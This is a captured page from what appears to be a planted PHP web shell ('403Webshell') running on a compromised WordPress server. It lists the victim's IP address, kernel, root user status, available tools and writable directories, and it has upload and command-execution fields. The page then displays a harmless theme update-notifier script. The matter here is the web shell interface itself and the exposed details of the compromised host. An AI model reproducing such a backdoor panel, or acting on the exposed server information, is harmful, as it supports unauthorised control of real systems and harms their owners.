403Webshell
Server IP : 216.250.13.251  /  Your IP : 216.73.216.237
Web Server : nginx/1.24.0
System : Linux gunay 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gunay/wp-content/themes/rttheme19/rt-framework/admin/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gunay/wp-content/themes/rttheme19/rt-framework/admin/functions/update_notifier.php
<?php
/**************************************************************
 *   ADAPTED										  *
 *   ---------										  *
 *												  *
 *   Provides a notification to the user everytime            *
 *   your WordPress theme is updated                          *
 *                                                            *
 *   Author: Joao Araujo                                      *
 *   Profile: http://themeforest.net/user/unisphere           *
 *   Follow me: http://twitter.com/unispheredesign            *
 *                                                            *
 **************************************************************/
function rt_get_latest_theme_version($interval) {
	 
	$notifier_file_url = RT_NOTIFIER_XML_FILE;	
	$db_cache_field = RT_THEMESLUG.'notifier-cache';
	$db_cache_field_last_updated = RT_THEMESLUG.'notifier-cache-last-updated';
 
	$last = get_option( $db_cache_field_last_updated );
	$now = time();

	// check the cache
	if ( !$last || (( $now - $last ) > $interval) ) {
 
		// cache doesn't exist, or is old, so refresh it 
		$cache = wp_remote_get( $notifier_file_url, array( 'timeout' => 5, 'httpversion' => '1.1' ) ); 

		if (is_array( $cache )){
			if ( isset( $cache["response"] ) && isset( $cache["response"]["code"] ) && $cache["response"]["code"] == "200" ) {
				if ( isset( $cache["body"] ) ) {			
					// we got good results	
					update_option( $db_cache_field, $cache["body"] );					
				} 
			} 
		}

		//update the time
		update_option( $db_cache_field_last_updated, time() );

		// read from the cache file
		$notifier_data = get_option( $db_cache_field );
	}
	else {
		// cache file is fresh enough, so read from it
		$notifier_data = get_option( $db_cache_field );
	}
	
	// Let's see if the $rt_update_xml data was returned as we expected it to.
	// If it didn't, use the default 1.0 as the latest version so that we don't have problems when the remote server hosting the XML file is down
	if( strpos((string)$notifier_data, '<notifier>') === false ) {
		$notifier_data = '<?xml version="1.0" encoding="UTF-8"?><notifier><latest>0</latest><changelog></changelog></notifier>';
	}
	
	// Load the remote XML data into a variable and return it
	$rt_update_xml = simplexml_load_string($notifier_data); 
	
	return $rt_update_xml;
} 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit